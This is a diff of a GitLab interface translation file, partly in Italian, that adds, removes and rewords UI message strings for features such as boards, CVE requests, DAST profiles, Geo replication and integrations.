@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "per"
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr "Cherry-pick"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Ripristina"
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr "Crea un nuovo File"
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr "Esplora gruppi pubblici"
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr "Fork da"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
